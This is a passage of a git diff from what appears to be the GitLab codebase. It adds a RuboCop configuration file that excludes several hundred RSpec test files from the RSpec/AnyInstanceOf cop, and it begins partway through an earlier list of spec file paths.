+ - spec/lib/gitlab/fogbugz_import/importer_spec.rb
+ - spec/lib/gitlab/git/branch_spec.rb
+ - spec/lib/gitlab/git/commit_spec.rb
+ - spec/lib/gitlab/git/repository_spec.rb
+ - spec/lib/gitlab/git_access_spec.rb
+ - spec/lib/gitlab/github_import/importer/diff_note_importer_spec.rb
+ - spec/lib/gitlab/github_import/importer/issue_importer_spec.rb
+ - spec/lib/gitlab/github_import/importer/issues_importer_spec.rb
+ - spec/lib/gitlab/github_import/importer/milestones_importer_spec.rb
+ - spec/lib/gitlab/github_import/importer/note_importer_spec.rb
+ - spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb
+ - spec/lib/gitlab/github_import/importer/releases_importer_spec.rb
+ - spec/lib/gitlab/github_import/representation/diff_note_spec.rb
+ - spec/lib/gitlab/github_import/representation/issue_spec.rb
+ - spec/lib/gitlab/github_import/representation/note_spec.rb
+ - spec/lib/gitlab/github_import/representation/pull_request_spec.rb
+ - spec/lib/gitlab/grape_logging/formatters/lograge_with_timestamp_spec.rb
+ - spec/lib/gitlab/grape_logging/loggers/cloudflare_logger_spec.rb
+ - spec/lib/gitlab/grape_logging/loggers/queue_duration_logger_spec.rb
+ - spec/lib/gitlab/graphql_logger_spec.rb
+ - spec/lib/gitlab/graphs/commits_spec.rb
+ - spec/lib/gitlab/import_export/project/relation_factory_spec.rb
+ - spec/lib/gitlab/json_logger_spec.rb
+ - spec/lib/gitlab/lfs_token_spec.rb
+ - spec/lib/gitlab/log_timestamp_formatter_spec.rb
+ - spec/lib/gitlab/middleware/rails_queue_duration_spec.rb
+ - spec/lib/gitlab/omniauth_logging/json_formatter_spec.rb
+ - spec/lib/gitlab/phabricator_import/issues/task_importer_spec.rb
+ - spec/lib/gitlab/phabricator_import/representation/task_spec.rb
+ - spec/lib/gitlab/prometheus/queries/additional_metrics_deployment_query_spec.rb
+ - spec/lib/gitlab/prometheus/queries/deployment_query_spec.rb
+ - spec/lib/gitlab/prometheus/queries/validate_query_spec.rb
+ - spec/lib/gitlab/sherlock/transaction_spec.rb
+ - spec/lib/gitlab/sidekiq_logging/json_formatter_spec.rb
+ - spec/lib/gitlab/sidekiq_middleware/duplicate_jobs/strategies/until_executing_spec.rb
+ - spec/lib/gitlab/updated_notes_paginator_spec.rb
+ - spec/lib/gitlab/utils/json_size_estimator_spec.rb
+ - spec/lib/gitlab/x509/signature_spec.rb
+ - spec/lib/grafana/time_window_spec.rb
+ - spec/lib/json_web_token/hmac_token_spec.rb
+ - spec/tooling/rspec_flaky/flaky_example_spec.rb
+ - spec/tooling/rspec_flaky/listener_spec.rb
+ - spec/tooling/rspec_flaky/report_spec.rb
diff --git a/.rubocop_todo/rspec/any_instance_of.yml b/.rubocop_todo/rspec/any_instance_of.yml
new file mode 100644
index 00000000000..f7a8cfb3968
--- /dev/null
+++ b/.rubocop_todo/rspec/any_instance_of.yml
@@ -0,0 +1,508 @@
+---
+RSpec/AnyInstanceOf:
+ Exclude:
+ - ee/spec/controllers/admin/geo/nodes_controller_spec.rb
+ - ee/spec/controllers/ee/groups_controller_spec.rb
+ - ee/spec/controllers/groups/analytics/productivity_analytics_controller_spec.rb
+ - ee/spec/controllers/groups/epics/notes_controller_spec.rb
+ - ee/spec/controllers/groups/omniauth_callbacks_controller_spec.rb
+ - ee/spec/controllers/oauth/geo_auth_controller_spec.rb
+ - ee/spec/controllers/projects/environments_controller_spec.rb
+ - ee/spec/controllers/projects/integrations/jira/issues_controller_spec.rb
+ - ee/spec/controllers/projects/merge_requests_controller_spec.rb
+ - ee/spec/controllers/projects/path_locks_controller_spec.rb
+ - ee/spec/controllers/projects_controller_spec.rb
+ - ee/spec/controllers/subscriptions_controller_spec.rb
+ - ee/spec/controllers/trials_controller_spec.rb
+ - ee/spec/features/admin/admin_audit_logs_spec.rb
+ - ee/spec/features/admin/admin_reset_pipeline_minutes_spec.rb
+ - ee/spec/features/admin/admin_users_spec.rb
+ - ee/spec/features/boards/scoped_issue_board_spec.rb
+ - ee/spec/features/ci_shared_runner_warnings_spec.rb
+ - ee/spec/features/groups/group_settings_spec.rb
+ - ee/spec/features/groups/navbar_spec.rb
+ - ee/spec/features/groups/saml_providers_spec.rb
+ - ee/spec/features/issues/form_spec.rb
+ - ee/spec/features/merge_request/user_creates_merge_request_spec.rb
+ - ee/spec/features/projects/new_project_spec.rb
+ - ee/spec/features/registrations/welcome_spec.rb
+ - ee/spec/features/security/project/internal_access_spec.rb
+ - ee/spec/features/security/project/private_access_spec.rb
+ - ee/spec/features/security/project/public_access_spec.rb
+ - ee/spec/features/trials/capture_lead_spec.rb
+ - ee/spec/features/trials/select_namespace_spec.rb
+ - ee/spec/features/users/login_spec.rb
+ - ee/spec/graphql/mutations/dast_on_demand_scans/create_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_schedule/create_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_schedule/destroy_spec.rb
+ - ee/spec/graphql/mutations/incident_management/oncall_schedule/update_spec.rb
+ - ee/spec/helpers/application_helper_spec.rb
+ - ee/spec/lib/ee/api/helpers_spec.rb
+ - ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb
+ - ee/spec/lib/ee/gitlab/checks/push_rule_check_spec.rb
+ - ee/spec/lib/ee/gitlab/checks/push_rules/commit_check_spec.rb
+ - ee/spec/lib/gitlab/auth/group_saml/membership_enforcer_spec.rb
+ - ee/spec/lib/gitlab/auth/ldap/access_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/Jobs/browser_performance_testing_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/Jobs/dast_default_branch_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/Jobs/load_performance_testing_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/Verify/browser_performance_testing_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/Verify/load_performance_testing_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/api_fuzzing_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/container_scanning_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/coverage_fuzzing_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/dast_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/dependency_scanning_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/license_scanning_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/ci/templates/sast_gitlab_ci_yaml_spec.rb
+ - ee/spec/lib/gitlab/elastic/project_search_results_spec.rb
+ - ee/spec/lib/gitlab/expiring_subscription_message_spec.rb
+ - ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb
+ - ee/spec/lib/gitlab/legacy_github_import/project_creator_spec.rb
+ - ee/spec/lib/omni_auth/strategies/group_saml_spec.rb
+ - ee/spec/lib/security/ci_configuration/sast_build_actions_spec.rb
+ - ee/spec/lib/system_check/geo/geo_database_configured_check_spec.rb
+ - ee/spec/migrations/schedule_populate_resolved_on_default_branch_column_spec.rb
+ - ee/spec/migrations/update_location_fingerprint_column_for_cs_spec.rb
+ - ee/spec/migrations/update_occurrence_severity_column_spec.rb
+ - ee/spec/migrations/update_undefined_confidence_from_occurrences_spec.rb
+ - ee/spec/migrations/update_undefined_confidence_from_vulnerabilities_spec.rb
+ - ee/spec/migrations/update_vulnerability_severity_column_spec.rb
+ - ee/spec/models/ee/namespace_spec.rb
+ - ee/spec/models/geo_node_status_spec.rb
+ - ee/spec/models/issue_spec.rb
+ - ee/spec/models/merge_request_spec.rb
+ - ee/spec/models/project_import_state_spec.rb
+ - ee/spec/models/push_rule_spec.rb
+ - ee/spec/presenters/ci/pipeline_presenter_spec.rb
+ - ee/spec/presenters/projects/security/configuration_presenter_spec.rb
+ - ee/spec/requests/api/geo_nodes_spec.rb
+ - ee/spec/requests/api/graphql/mutations/dast_on_demand_scans/create_spec.rb
+ - ee/spec/requests/api/graphql/mutations/dast_site_profiles/delete_spec.rb
+ - ee/spec/requests/api/graphql/mutations/pipelines/run_dast_scan_spec.rb
+ - ee/spec/requests/api/issues_spec.rb
+ - ee/spec/requests/api/projects_spec.rb
+ - ee/spec/requests/git_http_spec.rb
+ - ee/spec/requests/groups_controller_spec.rb
+ - ee/spec/requests/omniauth_kerberos_spnego_spec.rb
+ - ee/spec/requests/repositories/git_http_controller_spec.rb
+ - ee/spec/services/alert_management/network_alert_service_spec.rb
+ - ee/spec/services/ci/expire_pipeline_cache_service_spec.rb
+ - ee/spec/services/ci/run_dast_scan_service_spec.rb
+ - ee/spec/services/ee/git/branch_push_service_spec.rb
+ - ee/spec/services/ee/merge_requests/create_from_vulnerability_data_service_spec.rb
+ - ee/spec/services/ee/merge_requests/refresh_service_spec.rb
+ - ee/spec/services/ee/security/ingress_modsecurity_usage_service_spec.rb
+ - ee/spec/services/ee/users/create_service_spec.rb
+ - ee/spec/services/ee/users/destroy_service_spec.rb
+ - ee/spec/services/geo/container_repository_sync_service_spec.rb
+ - ee/spec/services/geo/design_repository_sync_service_spec.rb
+ - ee/spec/services/geo/framework_repository_sync_service_spec.rb
+ - ee/spec/services/geo/hashed_storage_migration_service_spec.rb
+ - ee/spec/services/geo/metrics_update_service_spec.rb
+ - ee/spec/services/geo/move_repository_service_spec.rb
+ - ee/spec/services/geo/project_housekeeping_service_spec.rb
+ - ee/spec/services/geo/rename_repository_service_spec.rb
+ - ee/spec/services/geo/repository_destroy_service_spec.rb
+ - ee/spec/services/geo/repository_sync_service_spec.rb
+ - ee/spec/services/geo/wiki_sync_service_spec.rb
+ - ee/spec/services/groups/destroy_service_spec.rb
+ - ee/spec/services/groups/update_service_spec.rb
+ - ee/spec/services/merge_trains/check_status_service_spec.rb
+ - ee/spec/services/network_policies/resources_service_spec.rb
+ - ee/spec/services/projects/destroy_service_spec.rb
+ - ee/spec/services/projects/group_links/destroy_service_spec.rb
+ - ee/spec/services/projects/update_service_spec.rb
+ - ee/spec/services/slash_commands/global_slack_handler_spec.rb
+ - ee/spec/support/helpers/ee/stub_configuration.rb
+ - ee/spec/support/shared_examples/controllers/analytics/cycle_analytics/shared_stage_shared_examples.rb
+ - ee/spec/support/shared_examples/features/ultimate_trial_callout_shared_examples.rb
+ - ee/spec/support/shared_examples/lib/gitlab/geo/geo_logs_event_source_info_shared_examples.rb
+ - ee/spec/support/shared_examples/models/member_shared_examples.rb
+ - ee/spec/support/shared_examples/services/base_sync_service_shared_examples.rb
+ - ee/spec/support/shared_examples/services/geo/geo_request_service_shared_examples.rb
+ - ee/spec/workers/build_finished_worker_spec.rb
+ - ee/spec/workers/concerns/elastic/indexing_control_spec.rb
+ - ee/spec/workers/elastic_commit_indexer_worker_spec.rb
+ - ee/spec/workers/geo/design_repository_shard_sync_worker_spec.rb
+ - ee/spec/workers/geo/file_download_dispatch_worker_spec.rb
+ - ee/spec/workers/geo/registry_sync_worker_spec.rb
+ - ee/spec/workers/geo/repository_cleanup_worker_spec.rb
+ - ee/spec/workers/geo/repository_shard_sync_worker_spec.rb
+ - ee/spec/workers/project_cache_worker_spec.rb
+ - ee/spec/workers/repository_import_worker_spec.rb
+ - ee/spec/workers/vulnerability_exports/export_deletion_worker_spec.rb
+ - qa/spec/runtime/release_spec.rb
+ - spec/controllers/admin/sessions_controller_spec.rb
+ - spec/controllers/application_controller_spec.rb
+ - spec/controllers/concerns/issuable_actions_spec.rb
+ - spec/controllers/concerns/static_object_external_storage_spec.rb
+ - spec/controllers/explore/projects_controller_spec.rb
+ - spec/controllers/groups/clusters_controller_spec.rb
+ - spec/controllers/groups/settings/ci_cd_controller_spec.rb
+ - spec/controllers/groups_controller_spec.rb
+ - spec/controllers/import/bitbucket_controller_spec.rb
+ - spec/controllers/oauth/jira/authorizations_controller_spec.rb
+ - spec/controllers/omniauth_callbacks_controller_spec.rb
+ - spec/controllers/projects/artifacts_controller_spec.rb
+ - spec/controllers/projects/branches_controller_spec.rb
+ - spec/controllers/projects/clusters_controller_spec.rb
+ - spec/controllers/projects/commit_controller_spec.rb
+ - spec/controllers/projects/commits_controller_spec.rb
+ - spec/controllers/projects/environments_controller_spec.rb
+ - spec/controllers/projects/imports_controller_spec.rb
+ - spec/controllers/projects/issues_controller_spec.rb
+ - spec/controllers/projects/jobs_controller_spec.rb
+ - spec/controllers/projects/labels_controller_spec.rb
+ - spec/controllers/projects/merge_requests_controller_spec.rb
+ - spec/controllers/projects/pipelines_controller_spec.rb
+ - spec/controllers/projects/service_hook_logs_controller_spec.rb
+ - spec/controllers/projects/services_controller_spec.rb
+ - spec/controllers/projects/tags_controller_spec.rb
+ - spec/controllers/registrations/experience_levels_controller_spec.rb
+ - spec/controllers/registrations_controller_spec.rb
+ - spec/controllers/sessions_controller_spec.rb
+ - spec/controllers/snippets/notes_controller_spec.rb
+ - spec/controllers/snippets_controller_spec.rb
+ - spec/features/admin/admin_mode/login_spec.rb
+ - spec/features/groups/clusters/eks_spec.rb
+ - spec/features/groups/members/tabs_spec.rb
+ - spec/features/ide/static_object_external_storage_csp_spec.rb
+ - spec/features/issuables/issuable_list_spec.rb
+ - spec/features/issues/form_spec.rb
+ - spec/features/merge_request/user_creates_image_diff_notes_spec.rb
+ - spec/features/merge_request/user_reviews_image_spec.rb
+ - spec/features/merge_request/user_sees_diff_spec.rb
+ - spec/features/merge_request/user_sees_merge_widget_spec.rb
+ - spec/features/profiles/personal_access_tokens_spec.rb
+ - spec/features/projects/clusters/gcp_spec.rb
+ - spec/features/projects/clusters_spec.rb
+ - spec/features/projects/container_registry_spec.rb
+ - spec/features/projects/files/user_browses_lfs_files_spec.rb
+ - spec/features/projects/jobs_spec.rb
+ - spec/features/projects/navbar_spec.rb
+ - spec/features/projects/pages_spec.rb
+ - spec/features/projects/services/user_activates_mattermost_slash_command_spec.rb
+ - spec/features/projects/settings/service_desk_setting_spec.rb
+ - spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb
+ - spec/features/snippets/embedded_snippet_spec.rb
+ - spec/features/usage_stats_consent_spec.rb
+ - spec/finders/prometheus_metrics_finder_spec.rb
+ - spec/graphql/mutations/alert_management/create_alert_issue_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/create_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/destroy_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/reset_token_spec.rb
+ - spec/graphql/mutations/alert_management/http_integration/update_spec.rb
+ - spec/graphql/mutations/alert_management/prometheus_integration/create_spec.rb
+ - spec/graphql/mutations/alert_management/prometheus_integration/reset_token_spec.rb
+ - spec/graphql/mutations/alert_management/prometheus_integration/update_spec.rb
+ - spec/helpers/analytics/unique_visits_helper_spec.rb
+ - spec/helpers/projects_helper_spec.rb
+ - spec/initializers/lograge_spec.rb
+ - spec/lib/api/entities/merge_request_basic_spec.rb
+ - spec/lib/api/entities/merge_request_changes_spec.rb
+ - spec/lib/api/helpers_spec.rb
+ - spec/lib/backup/files_spec.rb
+ - spec/lib/backup/manager_spec.rb
+ - spec/lib/banzai/commit_renderer_spec.rb
+ - spec/lib/banzai/filter/references/external_issue_reference_filter_spec.rb
+ - spec/lib/banzai/filter/references/issue_reference_filter_spec.rb
+ - spec/lib/banzai/filter/repository_link_filter_spec.rb
+ - spec/lib/banzai/pipeline/gfm_pipeline_spec.rb
+ - spec/lib/extracts_ref_spec.rb
+ - spec/lib/feature_spec.rb
+ - spec/lib/gitlab/app_logger_spec.rb
+ - spec/lib/gitlab/asciidoc_spec.rb
+ - spec/lib/gitlab/auth/auth_finders_spec.rb
+ - spec/lib/gitlab/auth/blocked_user_tracker_spec.rb
+ - spec/lib/gitlab/auth/request_authenticator_spec.rb
+ - spec/lib/gitlab/auth_spec.rb
+ - spec/lib/gitlab/background_migration/populate_personal_snippet_statistics_spec.rb
+ - spec/lib/gitlab/background_migration/populate_project_snippet_statistics_spec.rb
+ - spec/lib/gitlab/checks/diff_check_spec.rb
+ - spec/lib/gitlab/checks/lfs_check_spec.rb
+ - spec/lib/gitlab/checks/lfs_integrity_spec.rb
+ - spec/lib/gitlab/ci/config/external/file/base_spec.rb
+ - spec/lib/gitlab/ci/config/external/file/local_spec.rb
+ - spec/lib/gitlab/ci/config/external/processor_spec.rb
+ - spec/lib/gitlab/ci/pipeline/chain/build_spec.rb
+ - spec/lib/gitlab/ci/pipeline/chain/command_spec.rb
+ - spec/lib/gitlab/ci/templates/AWS/deploy_ecs_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/Jobs/build_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/Jobs/code_quality_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/Jobs/deploy_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/Jobs/test_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/Terraform/base_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/Verify/load_performance_testing_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/auto_devops_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/templates/npm_spec.rb
+ - spec/lib/gitlab/ci/templates/terraform_latest_gitlab_ci_yaml_spec.rb
+ - spec/lib/gitlab/ci/trace_spec.rb
+ - spec/lib/gitlab/current_settings_spec.rb
+ - spec/lib/gitlab/cycle_analytics/base_event_fetcher_spec.rb
+ - spec/lib/gitlab/database/multi_threaded_migration_spec.rb
+ - spec/lib/gitlab/diff/highlight_cache_spec.rb
+ - spec/lib/gitlab/diff/highlight_spec.rb
+ - spec/lib/gitlab/diff/position_spec.rb
+ - spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
+ - spec/lib/gitlab/email/handler/create_note_handler_spec.rb
+ - spec/lib/gitlab/etag_caching/middleware_spec.rb
+ - spec/lib/gitlab/exclusive_lease_helpers_spec.rb
+ - spec/lib/gitlab/fogbugz_import/importer_spec.rb
+ - spec/lib/gitlab/gfm/reference_rewriter_spec.rb
+ - spec/lib/gitlab/git/repository_spec.rb
+ - spec/lib/gitlab/gitaly_client/blob_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/commit_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/conflicts_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/health_check_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/operation_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/praefect_info_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/ref_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/remote_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/repository_service_spec.rb
+ - spec/lib/gitlab/gitaly_client/wiki_service_spec.rb
+ - spec/lib/gitlab/github_import/importer/pull_request_importer_spec.rb
+ - spec/lib/gitlab/gpg/invalid_gpg_signature_updater_spec.rb
+ - spec/lib/gitlab/hashed_storage/migrator_spec.rb
+ - spec/lib/gitlab/import/merge_request_helpers_spec.rb
+ - spec/lib/gitlab/import_export/config_spec.rb
+ - spec/lib/gitlab/import_export/fast_hash_serializer_spec.rb
+ - spec/lib/gitlab/import_export/importer_spec.rb
+ - spec/lib/gitlab/import_export/lfs_restorer_spec.rb
+ - spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
+ - spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb
+ - spec/lib/gitlab/import_export/snippets_repo_restorer_spec.rb
+ - spec/lib/gitlab/import_export/version_checker_spec.rb
+ - spec/lib/gitlab/job_waiter_spec.rb
+ - spec/lib/gitlab/legacy_github_import/importer_spec.rb
+ - spec/lib/gitlab/legacy_github_import/project_creator_spec.rb
+ - spec/lib/gitlab/metrics/exporter/base_exporter_spec.rb
+ - spec/lib/gitlab/metrics/rack_middleware_spec.rb
+ - spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
+ - spec/lib/gitlab/metrics_spec.rb
+ - spec/lib/gitlab/patch/action_dispatch_journey_formatter_spec.rb
+ - spec/lib/gitlab/sidekiq_daemon/monitor_spec.rb
+ - spec/lib/gitlab/sidekiq_middleware_spec.rb
+ - spec/lib/gitlab/tracking/destinations/product_analytics_spec.rb
+ - spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
+ - spec/lib/gitlab/tracking_spec.rb
+ - spec/lib/gitlab/usage_data_spec.rb
+ - spec/lib/gitlab/workhorse_spec.rb
+ - spec/lib/gitlab/x509/commit_spec.rb
+ - spec/lib/gitlab/x509/signature_spec.rb
+ - spec/lib/google_api/cloud_platform/client_spec.rb
+ - spec/lib/json_web_token/rsa_token_spec.rb
+ - spec/lib/mattermost/command_spec.rb
+ - spec/lib/mattermost/team_spec.rb
+ - spec/lib/system_check/simple_executor_spec.rb
+ - spec/models/ci/build_spec.rb
+ - spec/models/ci/runner_spec.rb
+ - spec/models/commit_spec.rb
+ - spec/models/environment_spec.rb
+ - spec/models/group_spec.rb
+ - spec/models/hooks/service_hook_spec.rb
+ - spec/models/hooks/system_hook_spec.rb
+ - spec/models/hooks/web_hook_spec.rb
+ - spec/models/integrations/jira_spec.rb
+ - spec/models/integrations/mattermost_slash_commands_spec.rb
+ - spec/models/issue_spec.rb
+ - spec/models/key_spec.rb
+ - spec/models/member_spec.rb
+ - spec/models/merge_request_diff_spec.rb
+ - spec/models/merge_request_spec.rb
+ - spec/models/note_spec.rb
+ - spec/models/project_import_state_spec.rb
+ - spec/models/project_spec.rb
+ - spec/models/repository_spec.rb
+ - spec/models/user_spec.rb
+ - spec/models/x509_certificate_spec.rb
+ - spec/policies/ci/build_policy_spec.rb
+ - spec/policies/ci/pipeline_policy_spec.rb
+ - spec/presenters/gitlab/blame_presenter_spec.rb
+ - spec/presenters/merge_request_presenter_spec.rb
+ - spec/requests/api/ci/runner/jobs_artifacts_spec.rb
+ - spec/requests/api/ci/runner/jobs_put_spec.rb
+ - spec/requests/api/ci/runner/jobs_request_post_spec.rb
+ - spec/requests/api/ci/runner/jobs_trace_spec.rb
+ - spec/requests/api/ci/runner/runners_delete_spec.rb
+ - spec/requests/api/ci/runner/runners_post_spec.rb
+ - spec/requests/api/ci/runner/runners_verify_post_spec.rb
+ - spec/requests/api/graphql/gitlab_schema_spec.rb
+ - spec/requests/api/graphql/project/error_tracking/sentry_detailed_error_request_spec.rb
+ - spec/requests/api/graphql_spec.rb
+ - spec/requests/api/helpers_spec.rb
+ - spec/requests/api/internal/base_spec.rb
+ - spec/requests/api/maven_packages_spec.rb
+ - spec/requests/api/merge_requests_spec.rb
+ - spec/requests/api/pages/pages_spec.rb
+ - spec/requests/api/project_export_spec.rb
+ - spec/requests/api/project_import_spec.rb
+ - spec/requests/api/projects_spec.rb
+ - spec/requests/api/snippets_spec.rb
+ - spec/requests/api/todos_spec.rb
+ - spec/requests/git_http_spec.rb
+ - spec/requests/import/gitlab_projects_controller_spec.rb
+ - spec/routing/routing_spec.rb
+ - spec/serializers/analytics_stage_serializer_spec.rb
+ - spec/serializers/merge_request_poll_cached_widget_entity_spec.rb
+ - spec/serializers/merge_request_poll_widget_entity_spec.rb
+ - spec/services/application_settings/update_service_spec.rb
+ - spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb
+ - spec/services/boards/lists/update_service_spec.rb
+ - spec/services/ci/create_pipeline_service_spec.rb
+ - spec/services/ci/destroy_expired_job_artifacts_service_spec.rb
+ - spec/services/ci/expire_pipeline_cache_service_spec.rb
+ - spec/services/ci/list_config_variables_service_spec.rb
+ - spec/services/ci/register_job_service_spec.rb
+ - spec/services/ci/resource_groups/assign_resource_from_resource_group_service_spec.rb
+ - spec/services/ci/retry_build_service_spec.rb
+ - spec/services/ci/retry_pipeline_service_spec.rb
+ - spec/services/ci/stop_environments_service_spec.rb
+ - spec/services/clusters/applications/create_service_spec.rb
+ - spec/services/clusters/cleanup/project_namespace_service_spec.rb
+ - spec/services/clusters/cleanup/service_account_service_spec.rb
+ - spec/services/deployments/older_deployments_drop_service_spec.rb
+ - spec/services/deployments/update_environment_service_spec.rb
+ - spec/services/draft_notes/destroy_service_spec.rb
+ - spec/services/events/render_service_spec.rb
+ - spec/services/git/branch_push_service_spec.rb
+ - spec/services/git/process_ref_changes_service_spec.rb
+ - spec/services/groups/create_service_spec.rb
+ - spec/services/groups/update_service_spec.rb
+ - spec/services/integrations/test/project_service_spec.rb
+ - spec/services/issuable/destroy_service_spec.rb
+ - spec/services/issues/close_service_spec.rb
+ - spec/services/issues/reopen_service_spec.rb
+ - spec/services/members/destroy_service_spec.rb
+ - spec/services/merge_requests/add_todo_when_build_fails_service_spec.rb
+ - spec/services/merge_requests/build_service_spec.rb
+ - spec/services/merge_requests/merge_service_spec.rb
+ - spec/services/merge_requests/mergeability_check_service_spec.rb
+ - spec/services/merge_requests/refresh_service_spec.rb
+ - spec/services/merge_requests/reload_diffs_service_spec.rb
+ - spec/services/merge_requests/resolved_discussion_notification_service_spec.rb
+ - spec/services/metrics/dashboard/custom_dashboard_service_spec.rb
+ - spec/services/metrics/dashboard/transient_embed_service_spec.rb
+ - spec/services/notes/create_service_spec.rb
+ - spec/services/notes/render_service_spec.rb
+ - spec/services/packages/conan/create_package_file_service_spec.rb
+ - spec/services/packages/nuget/metadata_extraction_service_spec.rb
+ - spec/services/packages/nuget/update_package_from_metadata_service_spec.rb
+ - spec/services/pages/delete_services_spec.rb
+ - spec/services/pod_logs/elasticsearch_service_spec.rb
+ - spec/services/pod_logs/kubernetes_service_spec.rb
+ - spec/services/post_receive_service_spec.rb
+ - spec/services/projects/after_rename_service_spec.rb
+ - spec/services/projects/container_repository/cleanup_tags_service_spec.rb
+ - spec/services/projects/container_repository/delete_tags_service_spec.rb
+ - spec/services/projects/container_repository/gitlab/delete_tags_service_spec.rb
+ - spec/services/projects/container_repository/third_party/delete_tags_service_spec.rb
+ - spec/services/projects/destroy_service_spec.rb
+ - spec/services/projects/fork_service_spec.rb
+ - spec/services/projects/import_service_spec.rb
+ - spec/services/projects/lfs_pointers/lfs_download_service_spec.rb
+ - spec/services/projects/lfs_pointers/lfs_object_download_list_service_spec.rb
+ - spec/services/projects/prometheus/alerts/notify_service_spec.rb
+ - spec/services/projects/transfer_service_spec.rb
+ - spec/services/projects/update_remote_mirror_service_spec.rb
+ - spec/services/projects/update_service_spec.rb
+ - spec/services/projects/update_statistics_service_spec.rb
+ - spec/services/resource_events/change_labels_service_spec.rb
+ - spec/services/search_service_spec.rb
+ - spec/services/snippets/create_service_spec.rb
+ - spec/services/test_hooks/project_service_spec.rb
+ - spec/services/test_hooks/system_service_spec.rb
+ - spec/services/todo_service_spec.rb
+ - spec/services/users/destroy_service_spec.rb
+ - spec/services/users/migrate_to_ghost_user_service_spec.rb
+ - spec/spec_helper.rb
+ - spec/support/capybara.rb
+ - spec/support/helpers/api_helpers.rb
+ - spec/support/helpers/graphql_helpers.rb
+ - spec/support/helpers/ldap_helpers.rb
+ - spec/support/helpers/login_helpers.rb
+ - spec/support/helpers/metrics_dashboard_url_helpers.rb
+ - spec/support/helpers/rake_helpers.rb
+ - spec/support/helpers/stub_configuration.rb
+ - spec/support/helpers/stub_gitlab_calls.rb
+ - spec/support/helpers/test_env.rb
+ - spec/support/import_export/common_util.rb
+ - spec/support/services/migrate_to_ghost_user_service_shared_examples.rb
+ - spec/support/shared_contexts/email_shared_context.rb
+ - spec/support/shared_contexts/services/projects/container_repository/delete_tags_service_shared_context.rb
+ - spec/support/shared_examples/controllers/githubish_import_controller_shared_examples.rb
+ - spec/support/shared_examples/controllers/issuable_notes_filter_shared_examples.rb
+ - spec/support/shared_examples/controllers/issuables_requiring_filter_shared_examples.rb
+ - spec/support/shared_examples/controllers/repository_lfs_file_load_shared_examples.rb
+ - spec/support/shared_examples/controllers/set_sort_order_from_user_preference_shared_examples.rb
+ - spec/support/shared_examples/controllers/unique_visits_shared_examples.rb
+ - spec/support/shared_examples/controllers/update_invalid_issuable_shared_examples.rb
+ - spec/support/shared_examples/controllers/uploads_actions_shared_examples.rb
+ - spec/support/shared_examples/features/archive_download_buttons_shared_examples.rb
+ - spec/support/shared_examples/features/snippets_shared_examples.rb
+ - spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb
+ - spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb
+ - spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb
+ - spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb
+ - spec/support/shared_examples/models/mentionable_shared_examples.rb
+ - spec/support/shared_examples/models/with_uploads_shared_examples.rb
+ - spec/support/shared_examples/path_extraction_shared_examples.rb
+ - spec/support/shared_examples/requests/api/discussions_shared_examples.rb
+ - spec/support/shared_examples/requests/api/snippets_shared_examples.rb
+ - spec/support/shared_examples/requests/rack_attack_shared_examples.rb
+ - spec/support/shared_examples/requests/snippet_shared_examples.rb
+ - spec/support/shared_examples/services/alert_management_shared_examples.rb
+ - spec/support/shared_examples/services/boards/boards_list_service_shared_examples.rb
+ - spec/support/shared_examples/services/boards/issues_list_service_shared_examples.rb
+ - spec/support/shared_examples/services/boards/issues_move_service_shared_examples.rb
+ - spec/support/shared_examples/services/issuable_shared_examples.rb
+ - spec/support/shared_examples/uploaders/object_storage_shared_examples.rb
+ - spec/support/shared_examples/workers/authorized_projects_worker_shared_example.rb
+ - spec/support/shared_examples/workers/reactive_cacheable_shared_examples.rb
+ - spec/support/snowplow.rb
+ - spec/tasks/gitlab/cleanup_rake_spec.rb
+ - spec/tasks/gitlab/container_registry_rake_spec.rb
